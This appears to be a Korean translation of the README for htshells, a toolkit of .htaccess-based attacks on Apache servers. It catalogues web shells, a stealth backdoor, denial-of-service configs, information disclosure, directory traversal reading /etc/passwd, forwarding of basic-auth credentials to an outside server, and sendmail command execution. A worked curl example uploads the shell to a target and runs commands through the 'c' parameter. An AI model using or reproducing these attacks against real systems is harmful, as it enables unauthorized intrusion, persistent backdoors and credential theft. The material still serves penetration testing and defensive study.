
자체 포함된 htaccess 셸 및 공격
HTSHELLS - .htaccess 파일을 통한 자체 포함 웹 셸 및 기타 공격
공격은 module.attack.htaccess 형식으로 명명되며 공격 유형별로 디렉토리에 그룹화되어 있습니다. 필요한 항목을 선택하여 .htaccess라는 새 파일로 복사하고, 업로드하기 전에 편집이 필요한지 파일을 확인하세요. 파일에 달리 명시되지 않는 한 웹 셸은 쿼리 매개변수 c에서 명령을 실행합니다.
준비하려면 ./prepare.sh file을 실행하면 업로드할 .htaccess 파일이 생성됩니다.
예:
$ ./prepare.sh shell/mod_php.shell.htaccess
┬ ┬┌┬┐┌─┐┬ ┬┌─┐┬ ┬ ┌─┐
├─┤ │ └─┐├─┤├┤ │ │ └─┐
┴ ┴ ┴ └─┘┴ ┴└─┘┴─┘┴─┘└─┘
justanotherhacker.com
.htaccess file is ready
$ curl -F '[email protected]' -k https://target/upload.php
$ curl -k https://target/uploads/.htaccess?c=id
...
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
== DOS/ # 서비스 거부 공격
apache.dos.htaccess 모든 요청이 500 내부 서버 오류를 반환하도록 만듭니다
mod_rewrite.dos.htaccess mod_rewrite의 정규식 dos 조건이 하위 프로세스를 소비합니다
== INFO/ # 정보 공개 공격
modcheck/ 활성화된 Apache 모듈을 나타내는 추가 응답 헤더를 포함합니다
mod_caucho.info.htaccess 테스트되지 않음 mod_caucho Resin 자바 서버 모듈의 서버 상태 바인딩
mod_clamav.info.htaccess Clamav 상태 페이지 바인딩
mod_info.info.htaccess Apache 서버 정보 바인딩
mod_ldap.info.htaccess 테스트되지 않음 mod_ldap 서버 모듈의 서버 상태 바인딩
mod_perl.info.htaccess mod_perl 상태 페이지 표시
mod_php.info.htaccess 모든 PHP 페이지가 실행 대신 소스를 표시하도록 만듭니다
mod_status.info.htacces Apache 서버 상태 바인딩
== SHELL/ # 대화형 명령 실행
mod_caucho.shell.htaccess 테스트되지 않음 JSP 기반 웹 셸
mod_cgi.shell.bash.htaccess cgi 핸들러에서 bash를 사용하는 셸, htaccess 파일에 exec 플래그가 설정되어 있어야 합니다.
mod_cgi.shell.windows.htaccess 테스트되지 않음 Apache CGI 구성 지시문을 통해 php.exe로 셸을 제공합니다
mod_include.shell.htaccess 서버 사이드 인클루드 기반 웹 셸
mod_multi.shell.htaccess 하나의 .htaccess 파일에 여러 셸을 포함하는 만능 공격 방식
mod_perl.shell.htaccess 미완성 TODO
mod_php.shell.htaccess http://domain/path/.htaccess?c=command를 통한 PHP 기반 웹 셸 접근
mod_php.shell2.htaccess .htaccess 파일에서 PHP 셸을 호출하는 대체 방법
mod_php.stealth.shell.htaccess PHP 기반 스텔스 백도어 - 튜토리얼: http://www.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html
mod_python.shell.htaccess
mod_ruby.shell.htaccess
mod_suphp.shell.htaccess
== TRAVERSAL/ # 디렉터리 트래버설 공격
mod_hitlog.traversal.htaccess hitlog 모듈을 통한 디렉터리 트래버설 공격, /etc/passwd 읽기를 시도합니다
mod_layout.traversal.htaccess 디렉터리 트래버설 공격으로 /etc/passwd를 읽습니다
== ./ # 기타 공격
mod_auth_remote.phish.htaccess 테스트되지 않음 기본 인증 자격 증명을 선택한 서버로 전달합니다
mod_badge.admin.htaccess mod_badge 관리자 페이지 바인딩
mod_sendmail.rce.htaccess 테스트되지 않음 .htaccess 파일에 구성된 명령을 "sendmail" 바이너리의 경로와 인수를 지정하여 실행합니다
Wireghoul - http://www.justanotherhacker.com